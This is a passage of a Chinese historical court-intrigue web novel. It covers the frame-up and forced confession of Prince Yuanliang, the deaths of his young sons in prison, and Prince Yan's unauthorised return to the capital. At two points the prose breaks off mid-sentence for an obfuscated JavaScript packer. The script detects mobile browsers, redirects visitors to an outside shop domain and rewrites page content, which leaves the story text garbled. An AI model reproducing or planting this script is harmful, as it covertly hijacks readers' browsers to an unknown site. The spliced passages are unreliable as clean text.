“一定是霍家!” 沈磐坚定道:“仪明在畅春园听见他们密谋,说什么上了贼船,那个长得像儒生、声音像老鸹的就是魏俊秋,被叫作‘四爷’的就是尚书霍辄的弟弟霍轶,还有一个,应该就是府军卫指挥使宣钦!” 张永一哑然。 “为什么是他?” “初七那天送沈斫北上,府军卫莫名其妙就要拦门,说是指挥使的意思,那可不就是宣钦的意思!而崖然老先生的徒侄孙太医莫名死了,看来不是蓄意谋杀,而是意外,是锦麟卫意外酿就的事故。正好那个时候他们在查吃空饷,就查到了崖然,于是宣钦要拦沈斫。魏俊秋因为担心出逃的崖然会对他们不利,担心会传到皇帝那里,所以被霍家要挟着入伙,可他想不到崖然以为是皇帝要杀孙太医——” 沈磐深吸一口气,“所以在此案中,魏俊秋这么着急要咬死元良,就是因为仪明偷听见了他们的对话,他担心元良会告密,可他也想不到元良心地善良更有些胆小,只想带着孩子远走高飞,根本不会去告密!但他们还不愿放过他!又或者,他们就是要斩草除根、永绝后患。” 她一拍大腿,“这就串起来了,施汜与他们合谋,撺掇宫里搜查,就查出了早就准备好用来陷害人的符纸,而宫宴那时他们陷害沈斫并未被清算,说明他们宫里有人,可以做成此事。元良常年不在京城,郡王府守备松散,他们预先藏入人偶,再由魏俊秋领人找出,冉先生和乔指挥使作证,就坐实了元良的险恶也洗脱了锦麟卫贼喊捉贼的嫌疑。” 沈磐看向沉默的张永一,“元良去过西南,这就成了他会巫术的验证。他们再在日期上做些手脚,做成巧合,便能将东宫也拖下水,于是水更混了,更能掩盖他们嫁祸元良的真实目的,一举两得。真是天大的一个局!” 张永一望着义愤填膺的沈磐。 这只是一场言语推演,或许是假的,但险恶的凡人心却比金子还要真。 车外街树上扑簌簌飞起一群老鸹。 开春暗夜乌鸦叫。 张永一记得小时候,梁国公主府的门房老大爷常说,这是要死人的前兆。 17. 第十七章 独丧人(七) 不出意外,一连三日,张永一都做了梦。 但他来不及沉湎和痛斥自己对沈磐的肖想,便要与所有牵绊元良郡王的人一同面对转瞬来到的三司会审。 这又是一场噩梦。 天气暖和了起来,兵部尚书霍辄也从老家回来,这样一来,他和史可平等人便不能去东直门甬道上探消息。坐在值房里,他只觉得烈火烧心,手上连支笔也拿不住,满目的军资账册上都写着元良元良。 小时候他与元良一家的往来更近些,自从突罹父母丧,他戴孝在家,接着又去军中历练,再远赴东北,几年来不过见元良几面,他家的小公子仪明更是岁末宫宴那晚才头一次遇见。 但听祖母讲起父亲的童年趣事,无处不是元良的身影。 在记忆里,元良郡王是一个除了血亲与战友之外,最亲最近的、永远在笑、永远温柔的陌生人。 张永一搁下笔。 史可平从案上探头,“这就想去吃饭了?” 张永一摇头。 “着急也没用。”他也扔了笔,吹吹纸上未干的墨迹,“结局都是定的,不过是通往结局的方式不同而已,误不了多少。” 张永一皱眉。 史可平直起腰,隔着两人的桌子看向他,“张老弟,有些事情真的是命数,你急不来。” 他不假思索答:“我一向不信这个。” “嗐,那是因为你没真的碰到这种绝路。” 房外传来一声过午的锣响,史可平即刻站起,伸个懒腰。 他话中懒散:“我这辈子还没去过军中,所以干到五品便是头,张老弟你是从战场上下来的,你的前途比我大,但我虚长你将近二十岁,人活到现在,有些阴沟里的蛆虫事儿你没见过,可我亲历过,你得信我。” 张永一起身,理理官袍,随他一同往外走。 “实话说,我也不信命,但有时候,这世界就是个破落的戏班搭起来的小戏台,就算是假菩萨也要当真的拜,显个心诚。” 史可平说得云淡风轻,正午的光一照下来,他更松快得像府里散步消食的大爷。 “你听得出我是南方人,哎呦,还是那江南道苏州府的呢。” “好地方。” 史可平一笑:“是啊,天堂之地。” 张永一直觉他笑中含悲。 果然他开口道:“我娘是长洲县里高门大户的奴婢,后来怀了我,便被赶了出来——所以我是他们口中的‘奸生子’。” 张永一心一沉。 “没人要她,她又本来就是个孤儿,被卖进了高门。带着我出来,遇上了打劫的,身无分文,连贼都不看她,乞丐都嫌她吃得多要养我。然后她又被人伢子抓了,四处发卖,她刚生了我,谁也不要。最后一家药堂买下了我们,用来试药。” 他们应该去伙房吃饭的,却神不知鬼不觉地溜到了西门。 刑部门前还是人堵人。 “于是她死了,身上没一块好的。” 一个女人的一生,便在这样的一句话里结束了。 张永一看着史可平,他抱着自己的鼓鼓的肚子,就像是抱着自己的前半生。 “我是黑户,不久又被偷了,又被转卖,卖去了浙江。那时候我已经五岁了,大字不识一个,却还记得她姓‘史’,路过一个小孩儿都要骂我狗屎。第一个主家没多久犯了事,我又被转卖,卖到了第二家;第二家又犯了事,他们家里的妇孺遣散了下人,我便开始流浪。我又瘦又小,还生着病,人伢子不要我,流浪抢不过那些‘老’乞丐,大冷天饿得走不动路。” 刑部门被推了开,如故是一顶素布小轿,抬着元良郡王继续往宫内幽禁处走。 “乌鸦都在边上等着要吃我。” 冉琢明从刑部门内走出,一边的大理寺卿陶识礼与左都御史梅依径都面色灰败,与昂首挺胸的魏俊秋作别,眼看着锦麟卫和羽林卫的兵甲押着元良又要远走。 “那时候不知怎么了,我突然有了力气,便爬到河边。冬日里杭州的河不结冰,正方便我投水自尽,却被人救了下来,带回家里,让我叫他叫一声‘爹’,当他养在老家乡下的儿子。” “然后我就有了一个破碎的家,他在衙门里当差,天天给青天老爷端茶送水,人来磕头,人去磕头,腰都弯了。我问他干什么养着我废钱,他说他这个年纪没有出息娶不上媳妇,养个儿子当慰藉。我说,他有这个闲钱养儿子没钱娶媳妇?” 史可平一笑,“你知道他说什么吗?” 张永一定定看着他。 “他说啊,小时候有人给他算过,说他克父克母克妻克子,生来就是遭罪的命。活到他那个岁数,这些谶言都应验了,以前还汲汲于功名,后来就看淡了,但日子过得无聊,又想着是上辈子造孽这辈子遭灾,便大发善心,想为下辈子积德。他供我吃喝,还供我读书科举,也不求我有什么大出息给他大富大贵,只想着逢年过节给他烧点纸钱,便算圆满。” 史可平笑:“他这辈子也就这么完了,变不了一点,却给我取了‘可平’之名。” 史可平,时可平,什可平,事可平。 “张老弟,在江湖,命就是天,在庙堂,帝就是命,天命不可违。” 张永一看他半晌。 他的言辞坚定,口气却戏谑无比。 ** 第二次三司会审依然以失败告结,又定三日后再审。比先前有所进展的是,三司齐齐否认“绝生人咒”的说法,拿着那对羽毛做筏,硬是将各种说法都打回了原型。 张永一不知这里是否有东宫的授意,毕竟否决了“绝生人咒”,那就是要默认怀疑东宫残害手足的嫌疑,这是天大的麻烦。 牛马巷隔日就被京兆府查了个遍,那伙刺杀长平公主的贼人愣是连根头发都没留下,不过京兆府出兵不是因为公主遇刺,毕竟沈磐名义上还在襄阳侯府思过,那就只能以牛马巷里的瘾君子为切口,毕竟这些东西在大楚都是禁物。 大家好像都走投无路了。 好像史可平所说的“命”,正要降临在元良郡王府。 第三次三司会审又如炉中烟灰,一瞬而逝。 元良郡王的身世被挖了出来,作为逆王之后,与巫蛊沾上边的元良好似真的走上了绝路。 梁国气得吐了血,张永一只能告假在家侍奉。 三司唯一从元良旧事里找出的新意,恐怕就是被视为郡王妃李舒檀遗物的那块手帕。 因为元良郡王的亲姑姑,叫作沈明檀。 他们一边否认了“绝生人咒”,一边又挖出了作古多年的长英公主,元良好像没有在谋害皇帝,却又好像谋害了与皇帝血脉相连、恩义相通的至亲。他在三司那里好像减了罪,在御书房那里又反而被判了凌迟。 察院有年轻的御史一时脑热,上了封奏疏,结果当天就被革职还家。 奏疏里说着,升平朝的长安霍氏一族以簪缨之身行不仁不义之事,助纣为虐,乃至鼓动逆王逼宫造反、混乱朝局、动荡天下,最后几近族灭、自食其果,只留下了霍辄这又偏又远的一支苟延残喘。然则流放苦役并未彻底净化霍氏残族的野心,而今重整旗鼓的霍家人死性不改、乃至阴谋报复,暗中联系逆王遗孤元良郡王,意图搅弄风云、颠覆朝野,继而为手中傀儡陈王铺路、窥伺神器。元良郡王忠君重恩,不愿顺从,这便招致报复,几近家破人亡,现请陛下开眼,为元良诉冤。 ** 沈仪臣被带出去的时候,这本奏疏便被扔在了元良手边。 元良恭谨拜服着,不敢起身,也不敢用余光去瞟这本用漂亮的馆阁体写就的陈情之言亦或是不加掩饰的恶语。因为他能感受得到,九五之尊的皇帝就坐在正殿上,正目不转睛地“赏玩”着他的仪容狼狈、衣冠寥落。 呼风唤雨的当权者不施仁爱怜悯的目光总是饱含“赏玩”之意的。 这是种什么样的心情? 能够镇定地接受打量、能够镇定地去打量一个人的落魄。 “捡起来看看。” “臣遵旨。” 永济帝依然看着他,看着他从最先的泰然从容转变为后来的惊惧觳觫。他合上了奏疏,闭上了眼睛,连心里苦苦支撑的求生之门也“啪”地关上。 “马上就会有第四次会审——”永济帝目光渺远,“第四次啊,永济一朝到现在,不,哪怕是大楚开国以来,也没有三司会审开了三次也没定下的案子。” 他托着奏疏弯下腰。 “元良,我们待你不薄。” 他以头碰地,声音也砸上这冰冷的地砖:“陛下待臣满门上下都恩重如山。” 永济帝嗤笑:“如山啊?可朕从不知道,这种恩情能和山比拟,更不知道你在朝中居然有这么大的感召。冉琢明替你说话,梅依径、陶识礼,那些个方继昌、房桂稻,还有郇翾、梁国、宋国,朕的姐妹、朕的儿女乃至多少年不问世事的临川郡主。在朝中,在宫里,你更像一座山。” “君明臣直,冉首辅他们都是直臣忠臣,他们是在为了公心正义说话,不是为了臣凋敝之身。” “公心正义?” 听着他这些腔调十足的诚恳之辞,永济帝端详他的背影良久,方才笑中含苦地道:“而今,这些虚与委蛇又不失礼数的言辞,你也用得极其自然了。你应该早就忘了,那时候你还是个纯善无知的孩子,朕好像还抱过你,是在千秋阁吗?朕记不得了,你也记不得了。” 可现在,他们一个高高坐在明堂之上,一个匍匐狼狈跪于长阶之下,君臣之隔犹如天堑,他们互处彼岸,遥而不能相见。 元良听得出他话中的惋惜追念,一个凌空御风、金刚不败的帝王,他的惋惜和追念直如过路的宝马香车里的贵人、施舍给朔朔北风里流离失所的乞丐的那一粒铜板。捧着这样的恩赐,乞丐要以头抢地念上千万遍大恩大德,他元良也该谢的,谢他的君王心中认为的自己,一直是婴儿堕世时最干净纯洁的刹那。 可没人是天生的乞丐,贵人造就了乞丐。 也没有婴儿生来就想入世厮杀。 元良轻轻摇头,“不,臣记得。” 如果他敢抬头,一定看得见永济帝眼中飞掠而过的复杂。 元良直起上身,惋伤叙道:“臣从小就不开智,举止笨拙,心智更晚于同龄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911134|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有人愿意和臣玩耍,哥哥姐姐,堂哥堂姐,没有一个愿意带我玩的。那夜在千秋阁,他们都围着陛下与秦王叔听故事,秦王叔抱了沈磬,沈砺又闹,王叔忙不过来,只有陛下看见了臣,招臣过去……” 谁是沈磬、谁又是沈砺,谁是谁的儿子、谁的父亲又是谁,永济帝早就忘了那些连白骨都留不下的同姓,可元良清楚,如同清楚自己的名字叫“沈硎”一样地清楚。 他抬头,眼睛里全是追忆,“陛下没有抱臣,但陛下记得臣,臣便好似得到了被拥抱爱护的温暖。” 永济帝的视线铜球似的滚了下去。 “臣那时候没有朋友,只有一对鹦鹉视臣为‘哥哥’,臣便记得入了宫,要去会会他们。可天黑了,没有人愿意带臣去。最后,是郇侯陪了臣,在路上臣又交到了最好的朋友……” 这个“郇侯”不是郇翾,而是郇寰。 永济帝很多年没有听人提起郇寰了。 或说起郇寰,总是在谈论他姐姐沈明枳时顺带一句。 连郇翾都不怎么说起他的大哥。 永济帝很少会想到他,可甫一听见他的名字,少年时代与阿姐的点点滴滴都霎时间涌入脑海。那是他人生半百以来最美好的一段时光,可现在重新尝来,简直苦胜黄连难以下咽。 太苦了。 太痛苦了。 就像眼前的元良。 “臣太高兴了,终于有了朋友……” 他流出泪来。 “臣什么都很宝贝,童年的三轮鸩车,王府外买来的纸人风筝,仪臣和仪明,他们都是臣的宝贝。臣最宝贝的,莫过于朋友,他们是我生命里的珍宝。” “臣做什么、出了什么事,也不会伤害他们!” “他们是臣最宝贵的朋友!” “他们甚至可以比臣的性命还要重要!” 元良苦望向他。 “但火火与蓝蓝死了。陛下你知道吗,是谁杀了我朋友?” 永济帝阖眼。 “是我姑姑长英!我那菩萨一样的小姑姑,她能在某月十四那天随手救下一个乞儿,却又狠心拔掉他们所有的羽毛!他们是禽鸟,但也是两条生命啊!” 永济帝霍然睁眼。 “陛下!臣恨啊!” 元良重重磕头。 “臣恨他们啊!臣甚至觉得火火和蓝蓝受了这样非人的折磨,这辈子应该就投胎在仪臣和仪明身上!让臣用一辈子去弥补他们!父母爱子,臣更爱挚友!他们杀了我的朋友,与他们沾边还要危害吾儿,我怎么可能要替他们报仇!” 殿内只剩下元良越发沉闷的磕头声。 金砖上都落了血。 永济帝闭眼。 他也恨啊! 他恨死了这些蛊惑他、引他铸成大错的恶人! 他恨不得剥了、剐了他们! 他心口的血也和元良额头的血一样红。 可是—— 元良还在哭,就像当年那个七八岁的孩童,可他说的话,早不是一个痴儿能够想得到的,他还在恳切道:“陛下,臣知道,君王的威严就是朝廷的脸面,事已至此,陛下一定要给文武百姓一个妥当的交代。” 可是啊—— 皇帝怎么会错呢? 皇帝怎么能错呢? 巫蛊之案如撑天袭地之风雪,六部九司公侯卿相通通波及其中,现在说一句话,他们英明神武的陛下错了,错怪了纯善可怜的元良,被小人奸佞蒙骗! 这怎么行? 这怎么可以! 呼风唤雨一辈子的人,也要被他招来的风雨吃尽血肉。 三司那些一根筋的不明白,亲军卫只是他的爪牙,平头百姓更懵懵懂懂以为真又出了巫蛊大祸。所有人都逼着他要继续走,继续走这条不归之路、染血之路、凿空仁义恩情之路、慌祸败乱之路。 这条死路。 可他是九五至尊的皇帝啊!是非对错都掌握在他的手中,天下江山更只是他一人的玩物,他怎么能这样狼狈地、颜面丧尽地谢罪就死! 但这件案子,必然要用人命了结的!不是他,就是元良,不是元良,就是他。 只能是元良。 只能是他沈硎。 畅春园密谋的那些人手眼通天,如何不知道自己三缄其口,从未在宫里胡乱说上什么,更兼自己也不知道他们的底细,乌龟似的性子更催着他逃,那些秘密让天下人听见都远不如让他听见来得稳妥。 可他们就是要杀了他,不惜大费周章地布下这样的天罗地网。 所有人都为了杀他奋不顾身,奋不顾身只为了杀他这样一个无权无势、鲜有争心的懦夫。 元良忽然就释然了。 他从没想过自己会活这么久,久到他第一个认识的朋友张养元去世了,他的儿子张永一都长大成人,而他还活着。 若不是当年兖国公主救下他,他早就跟着自己的父母叔伯、兄弟姐妹一同死了。 而今不过一命还一命。 以保君王的威信,以免兖国公主泉下失望。 可他的亲朋故旧,他的孩子,都是无辜的。 18. 第十八章 独丧人(八) 坚定了决心,元良再拜道:“陛下,三司不懂陛下的难处,朝臣也不知陛下的艰辛,但臣受辅国长公主恩情,敢想替陛下分忧——” 永济帝的眼珠动了动。 “请陛下赐臣一死,臣自写认罪书,是为‘畏罪自杀’,又或者过法司之堂,臣当堂认罪,绝无指使,与霍大将军毫不相干,全是臣一手谋划。但臣求陛下放过臣的孩子,他们懵懂无知,忠心侍君,实在无辜。” 良久,上首传来一个君王深深的叹息,像是这座筑基不过三十年的启新殿在叹息。 元良知道,他答应了。 他想起一事,接着恳求:“臣此生别无他愿,唯有一事未了,还望陛下成全。” “说吧。” 他果然答应了。 此时此刻,他无所不应。 元良苦笑:“王府正堂供有一把名叫‘除秽’的宝剑,那是臣的故友张养元的遗物,臣请归还其子,不使蒙尘。” ** 沈仪臣跪在殿外最高一级台阶上,永济帝出来时,正好看见十来岁的少年朝自己脚下恭谨下拜。 这是元良的孩子,有几分幼年时尚未开智的小元良的模样。 过年时听元良说,沈仪臣不喜欢读书,也不喜欢刀枪,就爱侍弄些花草、打理些飞禽,当真也像极了从前那个傻愣愣能和鹦鹉当朋友的元良,又或者真如元良所说,他是受了拔毛剔羽之痛的鹦鹉转世。 飞禽最爱自由。 上辈子失去了羽毛,这辈子变成人在地上走。 永济帝停在他身前,在他抬头时,伸手轻轻拍了拍他被冻红的脸颊。 小时候的元良应当也曾呆呆地被冷风冻红脸颊而不知道哭,任由偷奸耍滑的下人糟蹋他,而他的爹娘一心都扑在他那些聪明伶俐的哥哥姐姐身上,又或者忙着升平朝的夺储纷争。他开智晚,晚到同龄的孩子成了精怪,他将将明白了人伦道义,将将长成了少年。 但其实那些道理,他心里都明白的对吧? 永济帝端详沈仪臣,不禁叹道:“好孩子。” 沈仪臣似是得到了莫大的鼓舞,眼里都闪着光亮。不过他不敢直视他的陛下,等他看过去时,永济帝早已经走远。 ** 梁国长公主独自进宫时,张永一还在兵部坐堂,听义然匆忙跑来,以为是祖母在家中出事,结果一出西门,就见梁国长公主由老嬷嬷搀扶着,在东直门甬道上慢慢走。 冠帔美甚,更似华丽的寿衣。 “祖母!” 梁国大喘着气,一见张永一模样整齐,略得宽慰地伸出手,“来,扶祖母去东直门。” “您这样身体受不了……” “络儿听话。” 张永一搀上梁国的手。 她的手凉得可怕。 “祖母,你的手?” 梁国红着眼圈,“心是热的就好。” 东直门甬道漫长无尽。 “络儿,元良不是我的孩子,却又像我的孩子。你们都不在时,是他来陪我过年,是他常常来看我,他是什么样子,我最清楚了。” 她步履蹒跚。 宋国长公主已经远远等在了东直门。 “这丫头,居然比我来得早。”梁国笑了笑,撑着张永一的手想要更快地往前走。 再快一点,或许仪臣和仪明还有救。 可梁国对张永一道:“她绝对吃了闭门羹。太子被骂,首辅被停朝,襄阳侯他们都被申斥……我和宋国与陛下都不亲近,他不会听我们的。” “祖母……” “可我总该为元良做些什么,我这可怜的孩子……” 她眼眶一湿,滴下泪来。 “我可怜的元良……” 东直门近在眼前。 宋国长公主刚哭过,勉强扯了一个笑,刚要安慰梁国,就听身后门内一阵轻响,回头就见千捧万簇中走出一个老太太。她精神极好,比身边一左一右搀扶她的一对中年男女还要好,但她脸上的哀沉比他们还要深。 “临川姐姐。” 临川郡主拉住梁国,“元良认罪了。” 梁国哑声问:“陛……陛下他……” “他早就变了。” 梁国的眼泪止不住落下来。 临川叹息:“又或者,他从来都是这样。” 梁国浑身颤抖起来。 “平涯、静潭,帮着扶好梁国长公主。” 张平涯和张静潭各自走到两边,这才露出他们身后尾巴似的远远缀着的沈磐。 她也哭过,像个束手无策的孩子一样大哭过一场,肿着眼睛,手上的伤还没有好,心里又开始流血。 临川转身走到她身边,牵起她紧攥的手,“你也叫长平。” 沈磐默默点头。 “刚才你在陛下面前那样袒护元良,陛下很生气,你回去要主动‘思过’——你才定了婚,惹了他生气,以后会有很多苦吃。” 看着沈磐像是又要被自己的话激出眼泪,临川轻笑:“不是你的错,也不是你们的错。” 沈磐侧过脸,一滴泪就这样落在了阴影里。 “有两个叫长平的人这么爱护他,他应当很高兴。” 临川声音哽咽,看见沈磐流泪,更觉得自己的心四分五裂。她们多需要一个坚强安全如沈明枳般的肩膀,可是上穷碧落下黄泉,两处茫茫皆不见。 “也好——” 沈磐低头看向她,她双目失神,似是被抽走了魂魄,躯体兀自喟叹:“也好,免得仪臣、仪明成为他宝贝儿子跟前下一对元良。” 沈磐一怔,越过临川郡主就见,梁国长公主一口血喷了出来,瘫软在张永一怀里。 东直门前乱成一团。 ** 那天陛下见过元良,沈仪臣就被带到了刑部,第二天就是第四次三司会审。 元良认了,全都认了,认下了绝生人咒,认下了永济初年他对皇帝心有不满,但他早已抛却这些怨念,早已心悦诚服于陛下的恩德感召,他求陛下宽容,饶恕无辜稚子和诸多故人。 三司并没有直接给出刑判,而是将元良又送回了启新殿,又要等陛下圣裁。 三司是不信的。 但元良已经认罪。 而晚间,随着圣旨传出来的就是元良伏诛的消息。 他的死讯。 内监来刑部宣旨时,沈磐才在御书房跪过。 她的胆子当真包天,当着皇帝的面,也不说告退,也不求起身,一提皱巴巴的裙摆就冲上了东直门。宫中不允急行的规矩她都记着,此刻却刻意忘得干净。临川郡主好意劝她向陛下服软,她正和自己的君父谢着罪,这便要前功尽弃,更功难抵过。 但她真的什么也不在乎了。 因为沈仪明也被带到了刑部。 刑部的大门空洞洞,像一头吃人的恶兽。 冉琢明如果还在这里,他应该会拦旨,会和这头恶兽死搏。 可是首辅停朝在家,乃至三司会审陛下都没让他出席。 沈磐不顾阻拦,硬是赴死般慨然闯了过去。 跟着监刑的内监,她便能知道沈仪臣兄弟关在何处—— 那已经不见天日的死牢。 这里又湿又冷,外头天色已暮,漏进来的光都是血红色夹着腥气的。 小时候沈磐在慈悲寺听过佛陀讲经,此刻便看见了九幽炼狱。 地狱变人间。 沈仪明站在那片血色夕阳里,永远闪着星子的眼睛远远望着自己。 一见到自己,他就会欢快叫“姑姑”,钻进自己的怀抱使劲地撒娇。 此刻他却如同一个哑巴。 沈磐看向堵在门口的内监,黑漆木盘里呈着雪白的绫缎。 她一愣,看向沈仪臣和沈仪明,一大一小牵着手,竟丝毫不见胆怯。 一口恶气逆反而上,沈磐拼命咽着,血气被压了下去,眼泪又被激了出来。 她一把推开那些监刑的内监,又被锦麟卫的长刀拦在了牢门。 魏俊秋从影子里走了出来,他一走出来,牢外的血色都被稀释得淡薄。 “公主,进去就是抗旨。” 沈磐恶狠狠回瞪:“不劳魏指挥使费心!” “姑姑!”沈仪臣却忽然叫道。 他还未变声的嗓音是抖的。 “谢谢姑姑来送我们。” 沈磐的指甲深深陷了进去,才好了些的伤口又冒出血来。 他松开弟弟的手,朝内监弓身一礼,“臣沈仪臣领旨谢恩,吾皇万岁。” 说完,他起身走向最边上沉默不语的两位刑部侍郎,“能否换个地方,我想在最门口。” 内监和魏俊秋的脸色都有些古怪。 冉琢明不在,圣旨在上,两位刑部侍郎不敢拿主意,恻隐心催他们去答应这知礼守矩的少年,可功利心逼他们置若罔闻退身自保。 对上沈磐眼里的狠绝,魏俊秋朝内监点点头,内监只能退后一步,“世子请吧。” 甬道里的沈仪臣瘦弱得像一片羽毛。 沈磐喃喃道:“要一壶酒,最烈的。” 这下连两位侍郎的脸色都开始古怪。 “听不见吗!” 被沈磐吼了一声,内监看向魏俊秋,魏俊秋黑亮的眼珠正盯着沈磐。他早年过半百,或许年轻时温柔和煦像个尽可依靠的儒生,现在只是一个阴险刻毒的老头。 沈磐一步走近他,“只要结果一样,只要能交差,指挥使何不送本宫一个人情?” 魏俊秋欠身后退一步,“公主的人情,下官送不起。” “是不屑送吧?” 魏俊秋一眼看尽沈磐的挑衅。 “本宫也就罢了,那霍开武呢?他马上就要成为本宫的驸马,他的人情你送不送。” 魏俊秋面色不改,却是再退了半步,退到了更浓更重的影子里。 边上的锦麟卫即刻出去买、去借、去抢、去取来一壶烈酒。 不过片刻,酒就交到了沈磐手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928110|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 锦麟卫也尽数退到了尽头,匿入黑暗。 沈磐拖着千钧重的脚步,揽住了沈仪明。 “来,仪明,把它喝了,喝了就不怕了。” 沈仪明闻得见烈酒的腥辣,他知道这是什么,且刚才就听过了。 可他用自己的袖子揩揩沈磐的眼泪,“姑姑,我不怕。” 沈磐的眼泪忍不住决堤,她再将酒壶抵到他嘴边,他却推着她的手,“姑姑,我不喝。” “乖,仪明——” “姑姑不哭。” 沈仪明避开酒壶,却又给她擦泪,“姑姑乖。” 他擦得那样小心,生怕擦花了沈磐仔细打扮的妆。 可她哪有心思化妆? 沈仪明兀自格外小心,像是要将姑姑在这大牢里的污浊全都擦干净。 他的姑姑是那么爱美爱干净的女子。 他是一个孩子,又像一个大人。 沈磐抱着他大哭起来。 “姑姑,你的手流血了。” “姑姑疼吗?” 沈磐还在哭。 “哥哥说这里闷,所以他想到门口,能更快些追上爹爹。” “姑姑,仪明以后不能保护你了,姑姑要自己坚强!” “仪明来不及见堂叔,姑姑代仪明向他问好,问他字练了没,腿好了没,有没有好好吃饭长高——仪明好想让堂叔再抱抱我。” 沈磐突然来了力气,但依然踉跄,“来,姑姑抱。” 沈仪明“哈哈”笑了,紧紧搂着沈磐的脖子,蹭蹭她泪湿的脸颊。 她身上的香气,还是那么让人安心。 “姑姑要好好的,不要想仪明哦。” ** 长城外雪高一丈,长城内雪深一尺,宁远城内冻死了不少懒汉乞丐,旧房子、破萝棚也塌了一片,檐缝里做窝的麻雀也成了冰汤圆。 东北的雪还是很大,化得很晚。 昨暮沈斫还和兵士一起彻夜扫雪,今晨就在南下归京的马背上。 自宁远至化隆,化雪三千里。 越向南,天气越暖,沈斫的心越凉。 化隆近郊还是一望无际的枯萎,天是枯萎的,山是枯萎的,河是枯萎的,树是枯萎的,花是枯萎的,人也是枯萎的。 一切都是枯萎的。 来时不是大雪,去时就是冰冻,他已经很多年没有见过这个时节的化隆。 记忆里过了严冬,过了节,平原上的墒情就蠢蠢欲动,三哥骑马带他出城,沈磐坐在车上,路两旁葱绿的麦田一天一个样,翡翠样的春浪吹着迟来的谷雨,一眼望不到边。 然后就是酷热的盛夏,洒满落叶的金秋,八方四季都被织成锦缎,穿在沈磐身上。 最后又是一个深冬,一个孤独的年。哥哥们要带着被打扮成天仙的沈磐,出席这样那样的豪宴奢会,而他一个人缩在不点灯的演花殿。 元良会来看他,每次都会带来各样的把戏哄他开心,然后有一年,他带来了仪明。 仪明从小就是个缠人的娃娃,要他抱,要沈磐抱,要哥哥抱,还要父皇抱。 他的小嘴能让所有人抱得高兴,像在抱一块肥肥的元宝。 沈仪臣最高兴抱着他走,带他去御花园里猛扎草丛。启新殿是永济初年重建的,被大火烧没前它叫薜荔殿,因着殿后长了满满一墙的薜荔,有山鬼雅思。沈仪臣最爱那个地方,一呆就是好久,仪明陪着闷,便自己跑了,跑得到处不见,那次真的将元良的魂都吓飞了。 后来是沈磐找到的他,发现这小子居然自己回了东宫,在梅园里折了梅枝数花瓣。 他必然知道哥哥爱惜花木,被他知道一定会喜提臭骂冷战一顿。 但他一个人玩得忘乎所以,在雪上摆了各种纹样,有江河山峦,有珠玉宝贝,还有沈磐衣裳的花纹,花儿草儿、日月星辰。 每每回想起这些,沈斫都要昏睡过去。 南下的路很不好走,整整五天不眠不休,带着那张《快雪时晴帖》,精心打造的袖箭装在臂下护腕,蓬头垢面,胡茬处处,衣裳都汗透了发着馊。 他不敢闭眼。 一闭眼就是元良一家的笑脸。 一闭眼就是那些年。 随着年岁渐长,有很多事他都忘了,他舍不得,故而时时复习、事事强记,在回忆中当上了最勤奋的学子。 化隆已经入夜。 府军卫打折了马腿,沈斫翻滚落地,可他就是爬也要朝刑部的方向去。 他们敢杀燕王的坐骑,但终究不敢向燕王挥刀。 他不知哪里来的勇气,爬起来拔足就沿着东直门甬道狂奔。 右边都察院的御史探出头来。 左边刑部的正门就訇然洞开。 一具蒙着白布的尸首被锦麟卫抬了出来。 随后是第二具。 一个是少年,一个是小孩。 沈斫咽下逆反而上的血气,扶着刑部门前的不知是貔貅还是獬豸跌跪下去。 19. 第十九章 莫平意(一) 未蒙传召的亲王私自回京,这是形同谋反的重罪。 这夜,几乎所有人都被惊动了,与东宫有交的内阁、六部、九寺、公侯等,跪在御书房外、东直门上,恳切求情。 这个时候的化隆早不应下雪,可大雪落满了跪求者的肩头。 这是死罪啊。 还是几乎求不得情的死罪。 沈斫昏过去,才被长缨卫抬回东宫,灌了热米汤,太子亲自动手给他擦了身子洗了头发,半个时辰后,绕过内阁的手谕就送到了丽正殿。 这是太子沈碣第一次,正大光明地没有任何合理借口地违抗了君父的命令。 他披了衣服,将那些人一一扶起,回来就直接守在了沈斫床头,一直到沈斫被噩梦惊醒的五更天。 这次来东宫的是阴阳卫,乔晏亲自来的,要提燕王上承天殿。 在这寒风凌冽的晨夜之间。 沈斫清醒地穿好了亲王冠带,去偏殿看过醉酒深眠的沈磐,垫了些汤饼,然后跟着太子走出东宫。 他很少这么正式地在皇城游走,更别提这样上承天殿。 他也从未意识到,这说大不大的外城,居然能有这么多官员夹道相望。 在承德大街,他看见了张永一。 张永一也看见了瘦了许多的他。 过了承德门就是承天殿广场,可羽林卫传下旨意,让他在门外等。 文武百官鱼贯而入,承天殿左右的文正、武英二殿也下了灯。 沈斫遥望飞雪中的宫城。 多么巍峨、多么雄壮的所在,他站在这里,就像一只蝼蚁、一粒微尘,圣人一指轻弹,他就要灰飞烟灭。 亲王的袍袖猎猎生风。 他却单薄如纸。 张永一望着他,一直望着他,陪他一起等承天殿上的旨意。 似是早就料到了会是这个结局,他连氅衣都没有穿,又从容地解下外袍,趴在刑凳上闭上眼。 今天掌刑的是乔晏,他握着三尺五寸的荆杖,目露不忍。 十二卫中有掌刑专人,颇擅行刑之中的功夫,三十两养一个月、略伤筋骨,六十两只伤皮肉,不用一个月就好了,一百八十两受刑当晚即步履如常。 